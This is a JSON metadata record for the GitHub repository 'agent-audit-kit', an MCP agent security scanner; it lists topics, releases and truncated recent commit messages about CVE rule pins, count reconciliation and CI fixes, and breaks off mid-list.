sattyamjjain / agent-audit-kit

Не вдалося зібрати розв'язаний набір залежностей для цього звіту: GitHub dependency-graph SBOM unavailable (404); the dependency graph may be disabled for this repository

{
  "data": {
    "repo": {
      "topics": [
        "ai-agent",
        "ai-security",
        "claude-code",
        "github-action",
        "mcp",
        "mcp-security",
        "owasp",
        "sarif",
        "scanner",
        "security",
        "supply-chain-security",
        "tool-poisoning",
        "ai-agent-security",
        "ai-safety",
        "security-scanner",
        "static-analysis"
      ],
      "is_fork": false,
      "size_kb": 2727,
      "has_wiki": true,
      "homepage": "https://github.com/sattyamjjain/agent-audit-kit#readme",
      "languages": {
        "HTML": 8934,
        "Shell": 17051,
        "Python": 2317446,
        "Makefile": 1534,
        "Dockerfile": 980,
        "TypeScript": 13648
      },
      "pushed_at": "2026-08-02T09:41:44Z",
      "created_at": "2026-04-05T15:12:41Z",
      "owner_type": "User",
      "updated_at": "2026-08-02T09:41:26Z",
      "description": "Static scanner for MCP-connected AI agent pipelines — 271 rules across 12 categories, 12 compliance frameworks, OWASP Agentic 10/10 + MCP 10/10, GitHub Action, SARIF, public CVE-to-rule ledger.",
      "is_archived": false,
      "is_disabled": false,
      "license_spdx": "MIT",
      "default_branch": "main",
      "license_spdx_raw": "MIT",
      "primary_language": "Python",
      "significant_languages": [
        "Python"
      ]
    },
    "owner": {
      "blog": "https://www.sattyamjjain.in/",
      "name": "Sattyam jain",
      "type": "User",
      "login": "sattyamjjain",
      "company": "Attri.ai",
      "location": "Ahmedabad",
      "followers": 39,
      "avatar_url": "https://avatars.githubusercontent.com/u/37297369?v=4",
      "created_at": "2018-03-12T12:42:03Z",
      "is_verified": null,
      "public_repos": 72,
      "account_age_days": 3064
    },
    "license": {
      "state": "standard",
      "spdx_id": "MIT",
      "raw_spdx": "MIT",
      "file_present": true,
      "scorecard_found": null,
      "profile_has_license": true
    },
    "activity": {
      "releases": [
        {
          "tag": "v0.3.66",
          "kind": "patch",
          "published_at": "2026-08-02T09:43:46Z"
        },
        {
          "tag": "v0.3.65",
          "kind": "patch",
          "published_at": "2026-08-01T05:03:06Z"
        },
        {
          "tag": "v0.3.64",
          "kind": "patch",
          "published_at": "2026-07-31T10:10:32Z"
        },
        {
          "tag": "v0.3.63",
          "kind": "patch",
          "published_at": "2026-07-30T09:41:07Z"
        },
        {
          "tag": "v0.3.62",
          "kind": "patch",
          "published_at": "2026-07-29T17:37:49Z"
        },
        {
          "tag": "v0.3.61",
          "kind": "patch",
          "published_at": "2026-07-29T17:37:27Z"
        },
        {
          "tag": "v0.3.60",
          "kind": "patch",
          "published_at": "2026-07-27T13:29:52Z"
        },
        {
          "tag": "v0.3.58",
          "kind": "patch",
          "published_at": "2026-07-23T06:45:32Z"
        },
        {
          "tag": "v0.3.57",
          "kind": "patch",
          "published_at": "2026-07-22T08:12:46Z"
        },
        {
          "tag": "v0.3.56",
          "kind": "patch",
          "published_at": "2026-07-21T17:11:12Z"
        },
        {
          "tag": "v0.3.52",
          "kind": "patch",
          "published_at": "2026-07-19T08:39:32Z"
        },
        {
          "tag": "v0.3.50",
          "kind": "patch",
          "published_at": "2026-07-18T03:51:41Z"
        },
        {
          "tag": "v0.3.49",
          "kind": "patch",
          "published_at": "2026-07-13T05:01:47Z"
        },
        {
          "tag": "v0.3.48",
          "kind": "patch",
          "published_at": "2026-07-08T17:41:55Z"
        },
        {
          "tag": "v0.3.47",
          "kind": "patch",
          "published_at": "2026-07-07T17:51:12Z"
        },
        {
          "tag": "v0.3.46",
          "kind": "patch",
          "published_at": "2026-07-06T07:57:40Z"
        },
        {
          "tag": "v0.3.41",
          "kind": "patch",
          "published_at": "2026-06-27T10:30:48Z"
        },
        {
          "tag": "v0.3.34",
          "kind": "patch",
          "published_at": "2026-06-13T13:57:13Z"
        },
        {
          "tag": "v0.3.26",
          "kind": "patch",
          "published_at": "2026-05-26T15:48:18Z"
        },
        {
          "tag": "v0.3.25",
          "kind": "patch",
          "published_at": "2026-05-25T04:42:49Z"
        },
        {
          "tag": "v0.3.24",
          "kind": "patch",
          "published_at": "2026-05-23T04:12:52Z"
        },
        {
          "tag": "v0.3.23",
          "kind": "patch",
          "published_at": "2026-05-20T17:51:45Z"
        },
        {
          "tag": "v0.3.22",
          "kind": "patch",
          "published_at": "2026-05-20T15:21:54Z"
        },
        {
          "tag": "v0.3.21",
          "kind": "patch",
          "published_at": "2026-05-19T10:46:37Z"
        },
        {
          "tag": "v0.3.20",
          "kind": "patch",
          "published_at": "2026-05-18T18:08:09Z"
        },
        {
          "tag": "v0.3.19",
          "kind": "patch",
          "published_at": "2026-05-17T07:23:04Z"
        },
        {
          "tag": "v0.3.18",
          "kind": "patch",
          "published_at": "2026-05-17T04:24:28Z"
        },
        {
          "tag": "v0.3.17",
          "kind": "patch",
          "published_at": "2026-05-17T04:18:14Z"
        },
        {
          "tag": "v0.3.16",
          "kind": "patch",
          "published_at": "2026-05-09T06:44:13Z"
        },
        {
          "tag": "v0.3.15",
          "kind": "patch",
          "published_at": "2026-05-06T04:46:18Z"
        },
        {
          "tag": "v0.3.14",
          "kind": "patch",
          "published_at": "2026-05-05T07:18:31Z"
        },
        {
          "tag": "v0.3.13",
          "kind": "patch",
          "published_at": "2026-05-03T16:08:39Z"
        },
        {
          "tag": "v0.3.12",
          "kind": "patch",
          "published_at": "2026-05-03T12:45:51Z"
        },
        {
          "tag": "v0.3.10",
          "kind": "patch",
          "published_at": "2026-04-29T17:39:41Z"
        },
        {
          "tag": "v0.3.9",
          "kind": "patch",
          "published_at": "2026-04-29T07:16:01Z"
        },
        {
          "tag": "v0.3.8",
          "kind": "patch",
          "published_at": "2026-04-27T11:24:01Z"
        },
        {
          "tag": "v0.3.7",
          "kind": "patch",
          "published_at": "2026-04-26T05:44:32Z"
        },
        {
          "tag": "v0.3.6",
          "kind": "patch",
          "published_at": "2026-04-26T05:19:52Z"
        },
        {
          "tag": "v0.3.5",
          "kind": "patch",
          "published_at": "2026-04-25T14:39:12Z"
        },
        {
          "tag": "v0.3.4",
          "kind": "patch",
          "published_at": "2026-04-24T09:28:43Z"
        },
        {
          "tag": "v0.3.3",
          "kind": "patch",
          "published_at": "2026-04-21T12:51:22Z"
        },
        {
          "tag": "v0.3.2",
          "kind": "patch",
          "published_at": "2026-04-20T04:29:49Z"
        },
        {
          "tag": "v0.3.0",
          "kind": "minor",
          "published_at": "2026-04-18T09:19:55Z"
        },
        {
          "tag": "v0.2.0",
          "kind": "minor",
          "published_at": "2026-04-05T18:36:52Z"
        }
      ],
      "recent_commits": [
        {
          "oid": "b25b6b1e9eab27973c93c7d06d575c5b89d66605",
          "body": "…guard; adjudicate cve-response queue\n\nWORK ITEM 2 — the documented corpus refresh could not reproduce the published N.\nThe State-of-MCP report's one network step, `fetch_registry.py --target N`, quoted\nthree different values: PREVALENCE.md and REPORT.md said --target 5000, but the\nMakefile `corpus`\n[…]\nthe README-pin-vs-newest-tag guard, which resolves when v0.3.66 is cut.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01FvRehMNiJTULqJE3rmt9cs",
          "is_bot": false,
          "headline": "fix(corpus): reconcile fetch_registry --target across all surfaces + …",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-08-02T09:40:35Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "3f589b0fc28b5a152a43690276bcb8c79490fa0c",
          "body": "… <0.16 pin) (#521)\n\nruff is pinned `>=0.15,<0.16` in pyproject.toml so CI lint is reproducible; a new\nruff minor adds rules that turn CI red without a deliberate `ruff check --fix`\nadoption. Dependabot kept proposing the cap bump (PR #494 — closed, failed all four\ntest jobs). Ignore ruff semver-min\n[…]\nays a manual reviewed\nchange with the auto-fixes committed alongside.\n\n\nClaude-Session: https://claude.ai/code/session_01FvRehMNiJTULqJE3rmt9cs\n\nCo-authored-by: Claude Opus 4.8 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "chore(dependabot): ignore ruff minor/major bumps (keep the deliberate…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-08-01T06:07:34Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "a9116003d74f99dbe7e49f21d0d4ccdb107d3f67",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-08-01T06:02:26Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "2b8e967a12c3328e3409397c9289533d554ffc21",
          "body": "…updates (#506)\n\nBumps the github-actions group with 9 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [actions/checkout](https://github.com/actions/checkout) | `7.0.0` | `7.0.1` |\n| [actions/setup-python](https://github.com/actions/setup-python) | `6.3.0` | `7.0.0` |\n| [g\n[…]\nsion-update:semver-patch\n  dependency-group: github-actions\n...\n\nSigned-off-by: dependabot[bot] <support@github.com>\nCo-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>",
          "is_bot": true,
          "headline": "chore(deps): Bump the github-actions group across 1 directory with 9 …",
          "author_name": "dependabot[bot]",
          "author_login": "dependabot[bot]",
          "committed_at": "2026-08-01T06:02:06Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "5bb5ffaa2be8a32776d72bafd3f9416c58fec5d6",
          "body": "The NVD watcher filed cve-response #519 (CVE-2026-54785, MEDIUM 6.2) while v0.3.65\nwas being tagged, failing the release gate. Adjudicated and pinned here rather than\ndeferred so the release stays honest:\n\ngemini-bridge (PyPI) 1.0.0-1.3.0 reads any file path passed to\nconsult_gemini_with_files (inli\n[…]\n v0.3.65 per maintainer decision (nothing had published under the tag).\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01FvRehMNiJTULqJE3rmt9cs",
          "is_bot": false,
          "headline": "fix(cve): pin gemini-bridge path traversal (CVE-2026-54785) into v0.3.65",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-08-01T05:00:02Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "06b8944a8d1c52c02aaa6de33a835356fca15505",
          "body": "…ess fence\n\nbenchmarks/determinism/RESULTS.md advertised 'Generated on AAK v0.3.46 (231\nrules)' — 18 releases and 42 rules behind HEAD when caught — with a SHA-256 that\nno longer reproduced on the shipped version, so a reader who ran it on the\ninstalled build would wrongly conclude reproducibility w\n[…]\n_COUNT 86 unchanged) and moves\nthe [Unreleased] entries under [0.3.65].\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01FvRehMNiJTULqJE3rmt9cs",
          "is_bot": false,
          "headline": "chore(bench): re-cut determinism artifact at v0.3.65 and add a freshn…",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-08-01T04:47:03Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "c677dafd763f1756996a4bd3bfd931e71a84cdf0",
          "body": "… Omnibus (2027-12-02 / 2028-08-02)\n\nThe repo asserted in seven live places that Article 15 becomes binding for\nhigh-risk systems on 2 Aug 2026 — the original Regulation (EU) 2024/1689\nArticle 113 staging. The AI Omnibus Regulation (OJ L_202601744, in force July\n2026) moved those dates: Annex III hi\n[…]\ntion https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=OJ:L_202601744\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01FvRehMNiJTULqJE3rmt9cs",
          "is_bot": false,
          "headline": "fix(compliance): correct EU AI Act Art.15 application date for the AI…",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-08-01T04:43:25Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "9a5ee50f7d637c5d55155d45e9d0ec4e5e388e1a",
          "body": "…eue (0.3.64)\n\nTwo ROADMAP §2.1 \"dead code\" items turned out to be stale — the work had already\nshipped — and the open CVE queue is adjudicated.\n\nWORK ITEM 1 — RUGPULL rules are NOT dead. ROADMAP claimed AAK-RUGPULL-001/002/003\nare \"defined but never fired by any scanner.\" They fire two ways: scanne\n[…]\ne green except the pin<->tag guard, which resolves when v0.3.64\nis cut.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01FvRehMNiJTULqJE3rmt9cs",
          "is_bot": false,
          "headline": "fix: close stale ROADMAP dead-code notes + adjudicate cve-response qu…",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-31T10:07:22Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "1de186fdd04359b7993d61b145a65cbe2d112d23",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-31T07:16:10Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "2aba7a6c43d6d14a3aaecc18b015946a627da237",
          "body": "…ry published surface\n\nThe State-of-MCP-2026 corpus grew to 2,303 distinct configs (GitHub crawl +\nofficial MCP Registry latest-version servers; results.json is the drift-guarded\nsource of truth), but four published surfaces still quoted the earlier crawl-only\nrun — a 3.5x discrepancy whose headline\n[…]\ne green except the pin<->tag guard, which resolves when v0.3.63 is cut.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01FvRehMNiJTULqJE3rmt9cs",
          "is_bot": false,
          "headline": "fix(research): one canonical State-of-MCP corpus N (2,303) across eve…",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-30T09:38:45Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "11d7a283a2485914e49f07b74a285f96728acfc5",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-30T06:43:34Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "e9babfa3e3db90b40afdd1e8191ba8ca5a6759e2",
          "body": "Three cve-response issues verified against NVD and dispositioned out of scope,\nno new rule:\n- CVE-2026-16496 terraform-mcp-server (HIGH 8.9) — Go binary, server-side\n  session-ID authz bypass; not a pinnable PyPI/npm artifact.\n- CVE-2026-47427 github-mcp-server (HIGH 7.5) — Go binary, pre-auth nil-d\n[…]\nn CHANGELOG.cves.md; the general no-auth-remote posture is AAK-MCP-001.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01UmdD9fET5ED3mL1WSXdk2K",
          "is_bot": false,
          "headline": "docs(cves): adjudicate #503/#504/#505 out of scope (clears release gate)",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-29T17:33:33Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "5f5f5bcba90b9e87d209c88d3bb20ee77c97c571",
          "body": "Shared tail for items 1-4. Bump 0.3.61 -> 0.3.62 (pyproject + __init__ +\ntest_phase5). CHANGELOG: relabel the shipped-but-untagged 0.3.61 work into a\n[0.3.61] section, and add [0.3.62] covering the pin↔tag guard (item 1), the SLA\nretirement (item 2), the watch-cve fail-loud change (item 3), and the\n\n[…]\n/sync_repo_metadata.py; README documents `watch-cve` as [experimental].\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01UmdD9fET5ED3mL1WSXdk2K",
          "is_bot": false,
          "headline": "chore(release): v0.3.62 — CHANGELOG, version bump, README/doc pins",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-29T17:30:21Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "b5a7cc51c5faf70726ce4a467e6b619d002a116e",
          "body": "Item 4. Sweep agent_audit_kit/**, rules.json, and docs/** (excluding tests/,\nwhose mocks legitimately use placeholder CVEs) for CVE-shaped identifiers whose\nsequence is a known placeholder (99999/999999/00000/0000/12345/11111) and fail\nwith file:line. Prevents a fabricated CVE from entering the rule registry as a\nfalse coverage claim.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01UmdD9fET5ED3mL1WSXdk2K",
          "is_bot": false,
          "headline": "test(ci): add placeholder-CVE guard for shipped surfaces",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-29T17:30:08Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "2bd3c90537f71708570f1d76d53edf0c70193b80",
          "body": "Item 3 (option b). `aak watch-cve`'s feed fetchers had returned [] since v0.3.10\nwith docstrings promising real fetchers \"in v0.3.11\" (50 releases ago), so the\ncommand ran, found nothing, and exited 0 — looking like a clean poll.\n`_stub_fetcher` now raises NotImplementedError (matching the notify.py\n[…]\n. `aak\nwatch` (the pin-drift monitor, a separate module) is unaffected.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01UmdD9fET5ED3mL1WSXdk2K",
          "is_bot": false,
          "headline": "fix(watch-cve): fail loud on stub feeds instead of silently exiting 0",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-29T17:30:08Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "68d045bdcd6e3cd9d909d2f24fb40e3059955baa",
          "body": "Item 2. The 48h SLA was retired in PR #432 (2026-07-14). Rewrote the four live\nCLAUDE_PROMPT.md lines to the best-effort language from SECURITY.md (no\nguaranteed clock; watcher + release gate kept, framed as best-effort triage).\nThe dated records — releases/v0.3.5.md, releases/v0.3.8.md,\nlaunch/MARK\n[…]\n one-line\ndated note that the SLA was retired, pointing at SECURITY.md.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01UmdD9fET5ED3mL1WSXdk2K",
          "is_bot": false,
          "headline": "docs(security): retire residual public \"48h CVE-to-rule SLA\" claims",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-29T17:30:08Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "142ec400b621c56c09f5c37960c2758a58c2cc42",
          "body": "Item 1. `0.3.61` was bumped in pyproject but never tagged, so the README's\n`uses: sattyamjjain/agent-audit-kit@v0.3.61` pointed at a nonexistent tag and\nfailed to resolve for anyone who copied it. Extend the version-consistency\nfence (`test_readme_action_pin_matches_newest_git_tag`) so it fails when\n[…]\nexisting pin-vs-pyproject check,\nREADME pin == version == released tag.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01UmdD9fET5ED3mL1WSXdk2K",
          "is_bot": false,
          "headline": "test(release): guard the README Action pin against the newest git tag",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-29T17:29:50Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "331e9f6117020702a596dbe56ac17a97af67ed25",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-29T06:46:33Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "4f22d58b76716efa8ea5400b5697e32f437094be",
          "body": "…ic tree\n\nKILL-CRITERIA.md was a private strategy note whose own header read \"Do not commit\nto the public repo\" — it named a competitor (Snyk) and an acqui-hire/services\nmonetization path candidly. A public repo that ships a document telling you not to\npublish it is a self-inflicted signal problem, \n[…]\nfile stays in past commits — git\nhistory is deliberately NOT rewritten.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01UmdD9fET5ED3mL1WSXdk2K",
          "is_bot": false,
          "headline": "chore(repo): remove private KILL-CRITERIA strategy note from the publ…",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-28T09:21:32Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "3382f8d4a7a04dc39d03b4af932d02663d02b7a2",
          "body": "…fenced in CI\n\nREADME was the sole outlier on two counts that live in code. Reconcile every\nprose surface to the source of truth and extend the CI fence so the drift can't\nrecur. No rule, scanner, CLI command, or framework added — no runtime change.\n\nCanonical numbers (all code-derived):\n- 12 = repo\n[…]\n 0.3.60 -> 0.3.61 (pyproject + __init__; README/docs self-pins synced).\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01UmdD9fET5ED3mL1WSXdk2K",
          "is_bot": false,
          "headline": "fix(docs): one canonical framework (12) + agent-platform (10) count, …",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-28T09:21:32Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "0daa05820c9a4e255a29af881f62c197aec8583d",
          "body": "…VE backlog\n\nItem 1 — version/tag truth:\n- Collapse three shipped-but-untagged [Unreleased] blocks into one tagged\n  0.3.60 entry so the README @v0.3.60 / rev: v0.3.60 pins resolve to a real tag\n  (newest was v0.3.58; the documented install path pointed at a nonexistent tag).\n\nItem 2 — one number ev\n[…]\nred PR #432).\n\npytest (1453 passed, 1 skipped) + ruff + mypy all clean.\n\nCo-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>\nClaude-Session: https://claude.ai/code/session_01UmdD9fET5ED3mL1WSXdk2K",
          "is_bot": false,
          "headline": "chore(release): v0.3.60 — release truth, one-number reconciliation, C…",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-27T13:27:22Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "8cb90739c312d52f74cfde68b3e8acc3bd069b6a",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-27T07:54:24Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "d1958d8203df0888f4c4a6a855fd35728e7f1520",
          "body": "…onfigs + human PDF (#501)\n\nPublish the credibility artifact. No new detection, nothing gated.\n\n- Refreshed the corpus via fetch_registry.py from the live MCP Registry: 1,641\n  distinct latest-version servers @ 2026-07-26 (up 2.3x from 710 on 2026-07-19 —\n  the registry grew fast). Combined with the\n[…]\nn refreshed.\n- Counts stay canonical (270 rules / 86 scanners, one number everywhere) — the\n  reported drift did not exist. Version 0.3.59 -> 0.3.60.\n\nGate: 1448 passed / 1 skipped, ruff + mypy clean.",
          "is_bot": false,
          "headline": "feat(research): State of MCP Security 2026 report — corpus to 2,303 c…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-26T10:55:04Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "873357c3725cee6870b181baf7fb74d54f1448d3",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-24T06:40:38Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "e3a04be50fe4a173fa0020a8cfef69b8ce398954",
          "body": "…MCP report seed (#497)\n\nMake the tool's coverage legible without adding any rules (still 270).\n\n- `agent-audit-kit --emit-coverage [--format json|md]` — walks the rule registry\n  and emits, per rule: id, title, severity, the CVE(s) covered, OWASP MCP Top-10\n  slot, OWASP Agentic Top-10 (2026) slot,\n[…]\nle).\n\n+11 tests (emitter, framework mappings, reserved slots, determinism, coverage.json\nstaleness, count consistency, CLI). Version 0.3.58 -> 0.3.59. Gate: 1448 passed /\n1 skipped, ruff + mypy clean.",
          "is_bot": false,
          "headline": "feat(coverage): --emit-coverage crosswalk + coverage.json + State-of-…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-24T06:13:16Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "50cc747162c957150b9388280226cedd0cf51553",
          "body": "…ependabot actions (#493)\n\n* chore(ci): pin all codeql-action steps to one version (v4.37.1) + group dependabot actions\n\nDependabot opened a separate PR per github/codeql-action/* sub-action\n(init/autobuild/analyze/upload-sarif), each bumping only one to 4.36.3/4.37.1.\nCodeQL requires all its steps \n[…]\nn every fresh run — unrelated to\nthe code, and it would hit main's next push too. Cap ruff to the 0.15 line so the\nlinter version is reproducible; bump deliberately + `ruff check --fix` to adopt 0.16.",
          "is_bot": false,
          "headline": "chore(ci): pin codeql-action steps to one version (v4.37.1) + group d…",
          "author_name": "Sattyam jain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-24T03:37:34Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "d103e32804c79ac65b4251042eb23c92014e0f97",
          "body": "…2026-07-22 cve-response backlog (269→270)\n\nClears the 2 open cve-response issues blocking the v0.3.58 release gate — one new\npin, one dispositioned.\n\nPinned (new rule):\n- AAK-MCP-N8N-CVE-2026-65594-001 — n8n MCP Server Trigger OAuth workflow-authz\n  bypass: the OAuth 2.1 consent/token flow does not\n[…]\nnt, not a standalone npm/PyPI\n  dependency, and no published fix version (a floorless pin would FP-after-fix).\n\n+1 rule (269→270); +5 pin range tests. Gate: 1437 passed / 1 skipped, ruff +\nmypy clean.",
          "is_bot": false,
          "headline": "feat(rules): pin CVE-2026-65594 (n8n MCP OAuth authz bypass); triage …",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-23T06:42:42Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "8cde58a91fa21f25bdcea8fdf7caefa8f4b69669",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-23T06:41:05Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "75ef1bbf32c47636fbf368abd4628954e35d6ee3",
          "body": "…rosswalk\n\nPositioning: the two wedges a free hosted scanner can't match are offline\ndeterminism and standards-provenance compliance evidence. This ships both, plus\nstatic coverage for the 2026-07-28 MCP spec surface before it ratifies. All\nrules are deterministic (stdlib regex over config + source;\n[…]\nsts (rule units + fixtures per rule + SARIF\nshape unchanged + crosswalk coverage). One canonical rule count (269) everywhere.\nVersion 0.3.57 → 0.3.58. Gate: 1432 passed / 1 skipped, ruff + mypy clean.",
          "is_bot": false,
          "headline": "feat(rules): MCP 2026-07-28 spec-ahead pack + NSA-CSI/OWASP-Agentic c…",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-23T06:36:45Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "74ece7b9d245364f5f3824442ae9bae0b5fcb4a2",
          "body": "…e-response backlog (264→265)\n\nClears the 5 open cve-response issues blocking the v0.3.57 release gate — one new\npin, one class-covered by an existing pin, three dispositioned (CHANGELOG.cves.md).\n\nPinned (new rule):\n- AAK-MCP-STATA-CVE-2026-47708-001 — MCP-for-Stata < 1.17.3: the stata_do\n  log_fil\n[…]\n.\n\n+1 rule (264→265); +3 pin tests. sync_rule_count.py --regenerate + gen_coverage.py\npropagated across README/action.yml/rules.json/docs/launch copy. Gate: 1411\npassed / 1 skipped, ruff + mypy clean.",
          "is_bot": false,
          "headline": "feat(rules): pin CVE-2026-47708 (MCP-for-Stata); triage 2026-07-21 cv…",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-22T08:09:17Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "5101bd014f68a1020a7ab00fd5284a0a046b915f",
          "body": "AAK-MCP-001 (\"Remote MCP server without authentication\") recognized only\nAuthorization/Bearer/X-API-Key/Api-Key and missed vendor-prefixed credential\nheaders, so servers authenticating with X-Nefesh-Key / X-WR-API-Key were wrongly\nflagged \"without authentication\" — 2 of the 4 HIGH/CRITICAL findings \n[…]\n001 rule description + remediation updated; rules.json re-bundled.\nNo new rule ID (reframes an existing rule for precision). Version 0.3.56 -> 0.3.57.\nGate: 1408 passed / 1 skipped, ruff + mypy clean.",
          "is_bot": false,
          "headline": "fix(rules): AAK-MCP-001 false-positives on custom API-key headers (#475)",
          "author_name": "sattyamjjain",
          "author_login": "sattyamjjain",
          "committed_at": "2026-07-22T07:28:22Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "a1edac8d5e7f9f523b64601023e37bd3e571cb12",
          "body": null,
          "is_bot": false,
          "headline": "chore: refresh public coverage page",
          "author_name": "aak-bot",
          "author_login": "aak-bot",
          "committed_at": "2026-07-22T06:43:19Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "6e31355694774d9f3ba7d41aaa7b67812900d103",
          "body": "…ticMail); triage 2026-07 cve-response backlog (262→264)\n\nClears the 5 open cve-response issues blocking the v0.3.56 release gate — two\npinned, three dispositioned with rationale (CHANGELOG.cves.md).\n\nPinned (new rules, reuse the mcp_cve_pins_2026_07 table-driven detector):\n- AAK-MCP-WHATSAPP-CVE-20\n[…]\n8 pin tests. sync_rule_count.py --regenerate + gen_coverage.py\npropagated the count/coverage across README, action.yml, rules.json, docs, launch\ncopy. Gate: 1403 passed / 1 skipped, ruff + mypy clean.",
